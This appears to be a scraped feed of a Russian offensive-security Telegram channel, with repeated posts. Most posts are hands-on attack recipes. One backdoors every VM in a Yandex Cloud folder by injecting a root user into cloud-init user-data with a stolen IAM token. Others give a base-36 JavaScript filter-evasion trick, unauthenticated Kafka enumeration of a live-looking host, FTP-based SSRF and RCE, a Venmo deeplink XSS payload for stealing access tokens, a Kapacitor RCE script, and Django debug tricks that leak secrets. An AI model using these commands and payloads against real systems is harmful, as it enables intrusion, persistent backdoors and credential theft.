Кавычка
Так как Яндекс.Облако решает одну из таких задач, как импортозамещение, многие инструменты от AWS подойдут для использования в этом продукте, так как у них присутствуют одинаковые вызовы API. Облака это не обычные виртуалки, но не все этого понимают. В AWS…
Берем известный нам IAM_TOKEN. Получаем почту и id пользователя:
Получаем идентификатор инстанса:
Забираем информацию о текущем инстансе, нас интересует folderId:
С помощью folderId получаем список всех виртуальных машин в облаке:
В ответе будет список всех виртуальных машин, их имена, описание, дата создания, instanceId всех тачек.
А теперь самое интересное, получаем всю метадату для каждого инстанса:
Делаем резервную копию yaml-файла. В поле "user-data" добавляем бэкдор в виде привилегированного пользователя toor:
Пушим изменения:
И делаем рестарт:
Поздравляю. У вас десятки, а может быть тысячи виртуальных машин с пользователем root благодаря одной уязвимости, если компания не осилила настройку облаков.
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://iam.api.cloud.yandex.net/iam/v1/yandexPassportUserAccounts:byLogin?login={LOGIN}"
Получаем идентификатор инстанса:
curl -H Metadata-Flavor:Google 169.254.169.254/computeMetadata/v1/instance/id
Забираем информацию о текущем инстансе, нас интересует folderId:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}"
С помощью folderId получаем список всех виртуальных машин в облаке:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances?folderId={folderId}"
В ответе будет список всех виртуальных машин, их имена, описание, дата создания, instanceId всех тачек.
А теперь самое интересное, получаем всю метадату для каждого инстанса:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}?view=FULL"
Делаем резервную копию yaml-файла. В поле "user-data" добавляем бэкдор в виде привилегированного пользователя toor:
\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\
nПушим изменения:
POST /compute/v1/instances/epd48d7l217cs3eqgb1b/updateMetadata HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 1337
content-type: application/x-www-form-urlencoded
{
"upsert": {
"serial-port-enable": "1",
...
"user-data": "#cloud-config\ndatasource:\n Ec2:\n strict_id: false\nssh_pwauth: no\nbootcmd:\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\nusers:\n- name: bankprod\n sudo: ALL=(ALL) NOPASSWD:ALL\n shell: /bin/bash\n ssh-authorized-keys:\n - ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEs7/GMUMCm6ncksXdcYf1+XSPkdVXvNdlUJZiJkGHBa bankprod@develop"
}
}
И делаем рестарт:
POST /compute/v1/instances/{instanceId}:restart HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 37
content-type: application/x-www-form-urlencoded
{"instanceId":"{instanceId}"}
Поздравляю. У вас десятки, а может быть тысячи виртуальных машин с пользователем root благодаря одной уязвимости, если компания не осилила настройку облаков.
🔥99
Управляющий символ 7F (или в url браузера - %7f) предназначен для забивания ошибочно пробитых символов на семидорожечных перфолентах (поскольку обозначается пробитием дырочек во всех дорожках).
А стандартная ширина терминала составляет 80 символов, потому что именно столько влезало на перфокарту.
А CR LF (\r \n) сейчас бы сделали одним символом, но при печати листингов на терминале необходимо подать бумагу на 1 строку вперед и передвинуть каретку в левый край.
Символ \a - пикнуть спикером (BELL).
И это не шутка!
А стандартная ширина терминала составляет 80 символов, потому что именно столько влезало на перфокарту.
А CR LF (\r \n) сейчас бы сделали одним символом, но при печати листингов на терминале необходимо подать бумагу на 1 строку вперед и передвинуть каретку в левый край.
Символ \a - пикнуть спикером (BELL).
И это не шутка!
🔥132
attacking_bitrix.pdf
3.6 MB
Уязвимости и атаки на CMS Bitrix
1. Особенности
2. Уязвимости
3. Методы атак
Приятного чтения!
P.S. Автор crlf
1. Особенности
2. Уязвимости
3. Методы атак
Приятного чтения!
P.S. Автор crlf
🔥189
Забавный способ уйти от систем защит - использовать другие системы счисления в #js для скрытия полезной нагрузки.
Например, функция parseInt может позволить перевести строку
>
<
Чтобы выполнить, необходимо воспользоваться функцией
Например, функция parseInt может позволить перевести строку
alert
в числовое значение переведя значение в 36-ричную систему счисления:>
parseInt('alert', 36)
<
17795081
Чтобы выполнить, необходимо воспользоваться функцией
toString
и перевести число обратно в строку:top[17795081..toString(36)]()
>🔥267
Forwarded from Двойная кавычка
Запоминаем крутые порты 9092 (kafka), 2181 (zookeeper).
Видим подобное на хосте? Проверим, можно ли зайти без аутентификации.
В ответе будут адреса брокеров. Если брокер будет локальный, как ниже, то либо меняем в /etc/hosts временно localhost на нужный нам IP, либо пробрасываем локальный порт на нужную нам тачку.
Видим подобное на хосте? Проверим, можно ли зайти без аутентификации.
kcat -b {IP}:9092 -u -L
В ответе будут адреса брокеров. Если брокер будет локальный, как ниже, то либо меняем в /etc/hosts временно localhost на нужный нам IP, либо пробрасываем локальный порт на нужную нам тачку.
Metadata for all topics (from broker -1: 103.210.236.192:9092/bootstrap):
1 brokers:
broker 0 at localhost:9092 (controller)
126 topics:
topic "LOGICAL_CONTRACT_MESSAGE_8962" with 1 partitions:
partition 0, leader 0, replicas: 0, isrs: 0
topic "traverser_klines_deals" with 1 partitions:
partition 0, leader 0, replicas: 0, isrs: 0
topic "LOGICAL_MESSAGE_8934" with 1 partitions:
partition 0, leader 0, replicas: 0, isrs: 0
>🔥24
Forwarded from Двойная кавычка
Используем утилиты KaDeck или Offset Explorer для просмотра или изменения содержимого. Пример на скриншоте и выше - биржа okx.com.
Меняем циферки, пробуем эксплойт с log4j)
>
Меняем циферки, пробуем эксплойт с log4j)
>
🔥51
В некоторых случаях доступ к FTP это еще и SSRF.
Плюсы: FTP тупой, как пробка
Минусы: Активный режим редко где включен.
После подключения с помощью netact, мы можем отправить файл (который мы залили) в произвольное место.
Из примера выше,
>
Плюсы: FTP тупой, как пробка
Минусы: Активный режим редко где включен.
После подключения с помощью netact, мы можем отправить файл (который мы залили) в произвольное место.
RETR file
- готовит содержимое файла к отправкеPORT 1,2,3,4,5,6
- куда отправить содержимое, где первые 4 цифры это IP, а 2 последние это 5*256+6Из примера выше,
PORT 127,0,0,1,31,144
это 127.0.0.1:8080 (31*256+144).>
🔥54
А вот пример уязвимого кода для выполнения RCE через FTP.
Когда кто-то забирает файл, на контролируемом нами ресурсе, мы ему отдаем полезную нагрузку для эксплуатации выполнения кода (FastCGI, Redis, Zabbix).
После попытки сохранить его, мы отвечаем серверу, что переходим в пассивный режим, отправь содержимое на 127.0.0.1:9000 (или другой порт).
Это не только таск на CTF:
[1], [2]
>
Когда кто-то забирает файл, на контролируемом нами ресурсе, мы ему отдаем полезную нагрузку для эксплуатации выполнения кода (FastCGI, Redis, Zabbix).
После попытки сохранить его, мы отвечаем серверу, что переходим в пассивный режим, отправь содержимое на 127.0.0.1:9000 (или другой порт).
Это не только таск на CTF:
[1], [2]
>
🔥62
#mobile #deeplink
Если вы нашли XSS на сайте, но у неё низкий impact — не удаётся "украсть" аккаунт жертвы или актив вне скоупа.
Вам стоит поискать мобильное приложение, которое содержит WebView функциональность и присваивает токен при открытии страницы.
Возьмём для примера приложение от PayPal.
Открыв его в декомпиляторе можно найти функцию около webview функциональности
Если да, составляем полезную нагрузку:
Такая же функциональность в приложении TripAdvisor:
Если вы нашли XSS на сайте, но у неё низкий impact — не удаётся "украсть" аккаунт жертвы или актив вне скоупа.
Вам стоит поискать мобильное приложение, которое содержит WebView функциональность и присваивает токен при открытии страницы.
Возьмём для примера приложение от PayPal.
Открыв его в декомпиляторе можно найти функцию около webview функциональности
boolean isSecureVenmoHostUrl(Uri uri)
Внутри неё обнаруживаем хосты host.endsWith(".venmo.com") || host.equals("venmo.com") || host.endsWith(".venmo.biz")
Теперь нужно проверить возможно ли передать свой url в класс webview.Если да, составляем полезную нагрузку:
<a href="venmo://webview?url=https://legal.venmo.com/index.php?p=<svg>">PoC Send</a>
Это был пример как поднять xss, до чего-то существенного. При открытии ссылки, возможно украсть access_token и получить доступ к платежам пользователя.Такая же функциональность в приложении TripAdvisor:
Pattern f30622a = Pattern.compile("^(?:https?\\:\\/\\/(?:[A-Za-z0-9_\\-]+\\.(dhcp(\\-[A-Za-z]+)?\\.([A-Za-z0-9_\\-]+\\.corp\\.)?|(nw\\.)?dev(\\-[A-Za-z]+)?\\.|cmc\\.|d\\.)?)?tripadvisor\\.(?:com|(?:[a-z]{2})|(?:(?:co|com)\\.[a-z]{2})))?\\/.*$");
В перечисленных случаях выше, разработчики исправляют только xss, поэтому вы всё ещё можете это воспроизвести.🔥132
#osint #telegram
Чтобы узнать аккаунт в Telegram по его id, достаточно написать ссылку вида
t.iss.one/@id45933
Где
Чтобы не добавлять к себе в контакты номер телефона, достаточно написать ссылку
t.iss.one/+15109728359
Аналогично, при переходе по ссылке получим профиль с этим номером телефона и оригинальным именем.
>
Чтобы узнать аккаунт в Telegram по его id, достаточно написать ссылку вида
t.iss.one/@id45933
Где
45933
- интересующий нас айдишник. При переходе с мобильного клиента мы получим профиль с привязанным идентификатором.Чтобы не добавлять к себе в контакты номер телефона, достаточно написать ссылку
t.iss.one/+15109728359
Аналогично, при переходе по ссылке получим профиль с этим номером телефона и оригинальным именем.
>
🔥146
Анонс Cure53 о том, что они убьют XSS как класс уязвимостей похож на правду. DOMPurify теперь встроен в браузеры и тестируется.
Как потестить:
Firefox:
Chrome:
Как думаете, взлетит или будет на уровне CSP (у одного из ста)?
https://wicg.github.io/sanitizer-api/#dom-element-sethtml
// this is safe by default
document.body.setHTML('unsafe HTML here')
Как потестить:
Firefox:
about:config#dom.security.sanitizer.enabled
Chrome:
chrome://flags#enable-experimental-web-platform-features
Как думаете, взлетит или будет на уровне CSP (у одного из ста)?
https://wicg.github.io/sanitizer-api/#dom-element-sethtml
🔥44
burp_sign_headers.py
3.3 KB
Короч, на пентесте была защита от дураков, каждая отправка запроса (POST x-www-form-urlencoded или application/json) подписывалась. Причем бралась сессия, текущий timestamp, сортировались параметры, все это оборачивалось в md5.
Эта проверка целостности передавалась в заголовке, и если не совпадала с текущими данными в POST, то обработка прерывалась. А без этого, естественно, ни Intuder, ни Scanner не работал.
Запилили плагин для Burp, добавляется через Extender -> Add -> Python, вдруг пригодится в будущем.
>
Эта проверка целостности передавалась в заголовке, и если не совпадала с текущими данными в POST, то обработка прерывалась. А без этого, естественно, ни Intuder, ни Scanner не работал.
Запилили плагин для Burp, добавляется через Extender -> Add -> Python, вдруг пригодится в будущем.
>
🔥98
kapacitor_rce.sh
1.8 KB
Kapacitor - это система обработки данных с открытым исходным кодом, которая умеет обрабатывать метрики из InfluxDB и является частью TICK-стека. Из коробки умеет в RCE, если торчит наружу.
Для тестов:
Для тестов:
docker run --rm --net=host -it influxdb:1.8
docker run --rm -it --net=host -e KAPACITOR_INFLUXDB_0_URLS_0=https://127.0.0.1:8086 kapacitor
./kapacitor_rce.sh 172.17.0.3
>🔥39
Приложения на Django в debug режиме раскрывают содержимое environment переменных при необработанном исключении.
Несмотря на наличие автоматического сокрытия значений, для переменных соответствующих регулярному выражению
Если обнаружить debug режим можно просто обратившись к несуществующей странице, то вызвать exception иногда бывает проблематично. Даже с раскрытием существующих в приложении путей через 404-ую страницу.
Но существуют и более универсальные подходы.
Пример 1
Нестандартные символы в Host. Правда с учетом облачных сервисов этот вариант срабатывает редко.
Использование большего количества переменных в POST, чем указано в настройке DATA_UPLOAD_MAX_NUMBER_FIELDS (по умолчанию 1000).
Для эксплуатации необходимо найти любой роут, поддерживающий POST запросы, и в редких случаях получить валидное значение CSRF токена на странице.
Несмотря на наличие автоматического сокрытия значений, для переменных соответствующих регулярному выражению
API|TOKEN|KEY|SECRET|PASS|SIGNATURE
, часто это приводит к утечкам через нестандартные имена переменных.Если обнаружить debug режим можно просто обратившись к несуществующей странице, то вызвать exception иногда бывает проблематично. Даже с раскрытием существующих в приложении путей через 404-ую страницу.
Но существуют и более универсальные подходы.
Пример 1
Нестандартные символы в Host. Правда с учетом облачных сервисов этот вариант срабатывает редко.
GET / HTTP/1.1Пример 2
Host: '"
Invalid HTTP_HOST header: '\'"'. The domain name provided is not valid according to RFC 1034/1035.
Использование большего количества переменных в POST, чем указано в настройке DATA_UPLOAD_MAX_NUMBER_FIELDS (по умолчанию 1000).
Для эксплуатации необходимо найти любой роут, поддерживающий POST запросы, и в редких случаях получить валидное значение CSRF токена на странице.
POST / HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: csrftoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;
Content-Length: 3093
csrfmiddlewaretoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&x=&x=&x=&x=[..1000 раз..]&x=&x=&x=
🔥126